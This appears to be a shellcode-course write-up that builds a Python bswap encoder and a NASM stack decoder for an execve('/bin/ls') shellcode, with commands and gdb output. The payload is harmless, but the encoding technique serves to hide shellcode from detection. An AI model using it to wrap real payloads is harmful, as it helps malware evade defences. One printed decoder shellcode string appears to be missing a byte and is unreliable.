SLAE: Assignment 4 of 7

Assignment #4:
- Create a custom encoding scheme like the "Insertion Encoder" demonstrated in the course
- Proof of concept using execve-stack as the shellcode to encode with your scheme and execute
=====================================================================

First we get the shellcode of the execve-stack:

objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d " -s |sed 's/^/"/'|sed 's/$/"/g'

"\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

#!/usr/bin/env python
import sys # we import sys for the len() function

# execve('/bin/ls') - shellcode size is 25 bytes
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89"
"\xe1\xb0\x0b\xcd\x80")

# bswap("12345678") -> \x78\x56\x34\x12
def bswap_to_py(eax): return "" if not eax else bswap_to_py(eax[2:]) + '\\x' + eax[:2]
def bswap_to_asm(eax): return "" if not eax else bswap_to_asm(eax[2:]) + '0x' + eax[:2] + ','

# pad shellcode with a NOP which will be used by our decoder
shellcode += "\x90"
# pad additional NOPS until shellcode is divisible by 4
while (len(shellcode) % 4 != 0): shellcode += "\x90"

# initialize variables
py_shellcode = ""; asm_shellcode = ""; counter = 0; EAX = "";

# encode the shellcode with a bswap of every 4 bytes
for x in bytearray(shellcode):           # iterate over each byte in shellcode
    counter += 1                         # we use the counter to load 4 bytes at a time
    EAX += '%02x' %x                     # store hex value of byte in EAX string
    if (counter % 4 == 0):               # we have read 4 bytes
      py_shellcode += bswap_to_py(EAX)   # append bswapped value to encoded_shellcode
      asm_shellcode += bswap_to_asm(EAX) # append bswapped value to encoded_shellcode
      EAX = ""; counter = 0;             # reset EAX and counter to process next 4 bytes
print ""
print py_shellcode
print ""
print asm_shellcode[:-1]                 # remove the trailing comma
print ""
python encoder.py

\x68\x50\xc0\x31\x73\x6c\x2f\x2f\x69\x62\x2f\x68\x50\xe3\x89\x6e\x89\x53\xe2\x89\xcd\x0b\xb0\xe1\x90\x90\x90\x80
0x68,0x50,0xc0,0x31,0x73,0x6c,0x2f,0x2f,0x69,0x62,0x2f,0x68,0x50,0xe3,0x89,0x6e,0x89,0x53,0xe2,0x89,0xcd,0x0b,0xb0,0xe1,0x90,0x90,0x90,0x80

Note: Our encoder works and we now have our encoded shell. Now on to the assembly!

; filename decoder1.nasm
;
global _start
section .text
_start:
jmp short CALL       ; JMP - CALL - POP technique to retrieve location of encoded shell
POP:
pop esi              ; ESI = Location of shellcode
mov cl, codelen      ; ECX = length of shellcode (28 in our case)
DECODESHELL:
sub ecx, 4           ; process next part of shellcode
mov eax, [esi+ecx]   ; store the value in ESI+EDI in EAX
bswap eax            ; The bswap magic
push eax             ; store the last part of shellcode on the stack and go up from there
test ecx, ecx        ; If ECX is zero then we've reached the end of our shellcode
jne DECODESHELL      ; keep decoding until AL is 90
jmp esp              ; jump to stack = our shell
CALL:
call POP
shellcode: db 0x68,0x50,0xc0,0x31,0x73,0x6c,0x2f,0x2f,0x69,0x62,0x2f,0x68,0x50,0xe3,0x89,0x6e,0x89,0x53,0xe2,0x89,0xcd,0x0b,0xb0,0xe1,0x90,0x90,0x90,0x80
codelen equ $-shellcode
; Note: Decoder could be improved by encoding in a PUSH-friendly manner

Note: We compile our decoder1.nasm code:

nasm -f elf32 -o decoder1.o decoder1.nasm | ld -o decoder1 decoder1.o
objdump -d ./decoder1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

"\xeb\x12\x5e\xb1\x1c\x83\xe9\x04\x8b\x04\x0e\x0f\xc8\x50\x85\xc9\x75\xf3\xff\xe4\xe8\xe9\xff\xff\xff\x68\x50\xc0\x31\x73\x6c\x2f\x2f\x69\x62\x2f\x68\x50\xe3\x6e\x89\x53\xe2\x89\xcd\x0b\xb0\xe1\x90\x90\x90\x80"
Note: our original shellcode was:
"\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

Note: We run our decoder1 program in gdb, and check the decoded value on the stack:

gdb decoder1 -ex 'break *&DECODESHELL + 0xD' -ex 'run' -ex 'x/32b $esp'

Breakpoint 1, 0x08048072 in DECODESHELL ()
0xbffff3f4:    0x31    0xc0    0x50    0x68    0x2f    0x2f    0x6c    0x73
0xbffff3fc:    0x68    0x2f    0x62    0x69    0x6e    0x89    0xe3    0x50
0xbffff404:    0x89    0xe2    0x53    0x89    0xe1    0xb0    0x0b    0xcd
0xbffff40c:    0x80    0x90    0x90    0x90    0x01    0x00    0x00    0x00

Note: Upon executing the decoder, we see the execve('/bin/ls') execute from the stack as expected - Nice!

Now we can improve our encoder and decoder by encoding in a stack-friendly manner.
The idea is that we'll PUSH the DWORDS on the stack in reverse order (since stack is reverse)
This way, we can use the stack functionality to save a few decoder bytes.

Doing this is easy in Python. First we take our shellcode and split it in chunks of 4 bytes:
splittedshellcode = [shellcode[i:i+4] for i in range(0, len(shellcode), 4)]

Then we reverse the array obtained:
reversedshellcode = splittedshellcode[::-1]

Then we concatenate (join) the words without additional characters in between to form a new string.
joinedshellcode = "".join(reversedshellcode)

The above commands can be performed in a single command as follows:
shellcode_reversed = "".join([shellcode[i:i+4] for i in range(0, len(shellcode), 4)][::-1])

Our new encoder (encoder2.py):

#!/usr/bin/env python
#
# we import sys for the len() function
import sys

# execve('/bin/ls') - shellcode size is 25 bytes
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89"
"\xe1\xb0\x0b\xcd\x80")

# Ninja code: bswap("12345678") -> \x78\x56\x34\x12
def bswap_to_py(eax): return "" if not eax else bswap_to_py(eax[2:]) + '\\x' + eax[:2]
def bswap_to_asm(eax): return "" if not eax else bswap_to_asm(eax[2:]) + '0x' + eax[:2] + ','

# pad shellcode with a NOP which will be used by our decoder
shellcode += "\x90"
# pad additional NOPS until shellcode is divisible by 4
while (len(shellcode) % 4 != 0): shellcode += "\x90"

# Split shellcode into chunks of 4 bytes, reverse them, and join them into a new string
shellcode_reversed = "".join([shellcode[i:i+4] for i in range(0, len(shellcode), 4)][::-1])

# initialize variables used by our encoder sequence
py_shellcode = ""; asm_shellcode = ""; counter = 0; EAX = "";

# encode the shellcode with a bswap of every 4 bytes
for x in bytearray(shellcode_reversed): # iterate over each byte in shellcode
  counter += 1                          # we use the counter to load 4 bytes at a time
  EAX += '%02x' %x                      # store hex value of byte in EAX string
  if (counter % 4 == 0):                # we have read 4 bytes
    py_shellcode += bswap_to_py(EAX)    # append bswapped value to encoded_shellcode
    asm_shellcode += bswap_to_asm(EAX)  # append bswapped value to encoded_shellcode
    EAX = ""; counter = 0;              # reset EAX and counter to process next 4 bytes
print ""
print py_shellcode
print ""
print asm_shellcode[:-1]
print ""
python encoder2.py

\x90\x90\x90\x80\xcd\x0b\xb0\xe1\x89\x53\xe2\x89\x50\xe3\x89\x6e\x69\x62\x2f\x68\x73\x6c\x2f\x2f\x68\x50\xc0\x31
0x90,0x90,0x90,0x80,0xcd,0x0b,0xb0,0xe1,0x89,0x53,0xe2,0x89,0x50,0xe3,0x89,0x6e,0x69,0x62,0x2f,0x68,0x73,0x6c,0x2f,0x2f,0x68,0x50,0xc0,0x31

Note: Our encoder2 script works and we now have our encoded shell. Effectively we've reversed our whole shellcode
Our encoder can be simplified even more:
Our new encoder (encoder3.py):

#!/usr/bin/env python
# filename: encoder3.py
# we import sys for the len() function
import sys

# execve('/bin/ls') - shellcode size is 25 bytes
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89"
"\xe1\xb0\x0b\xcd\x80")

# pad shellcode with a NOP which will be used by our decoder
shellcode += "\x90"
# pad additional NOPS until shellcode is divisible by 4
while (len(shellcode) % 4 != 0): shellcode += "\x90"

# Split shellcode into chunks of 4 bytes, reverse them, and join them into a new string
shellcode_reversed = "".join([shellcode[i:i+1] for i in range(0, len(shellcode), 1)][::-1])

# initialize variables used by our encoder sequence
py_shellcode = ""; asm_shellcode = "";

# encode the shellcode with a bswap of every 4 bytes
for x in bytearray(shellcode_reversed):  # iterate over each byte in shellcode
  py_shellcode += '\\x' '%02x' %x        # append byte value to encoded_shellcode
  asm_shellcode += '0x' '%02x' ',' %x    # append byte value to encoded_shellcode
print ""
print py_shellcode
print ""
print asm_shellcode[:-1]
print ""

We can now simplify the assembly decoder:

; filename decoder2.nasm
;
global _start
section .text
_start:
jmp short CALL       ; JMP - CALL - POP technique to retrieve location of encoded shell
POP:
pop esi              ; ESI = Location of shellcode
DECODESHELL:
lodsd                ; store dword pointed by ESI (shellcode) in EAX register
bswap eax            ; The bswap magic takes place here in the EAX register
push eax             ; store the bswapped reversed_shellcode on the stack
cmp al, 0x31         ; If AL (now also the top byte on stack) is 0x31 then this is the start of our shellcode
jne DECODESHELL      ; keep decoding until AL is 0x31
jmp esp              ; jump to stack = our shell
CALL:
call POP
shellcode: db 0x90,0x90,0x90,0x80,0xcd,0x0b,0xb0,0xe1,0x89,0x53,0xe2,0x89,0x50,0xe3,0x89,0x6e,0x69,0x62,0x2f,0x68,0x73,0x6c,0x2f,0x2f,0x68,0x50,0xc0,0x31

Note: The size of our finished assembly decoder is 10 bytes.

nasm -f elf32 -o decoder2.o decoder2.nasm | ld -o decoder2 decoder2.o
./decoder2

Note: We see the directory listing of our directory, which means our shellcode execve(/bin/ls) ran successfully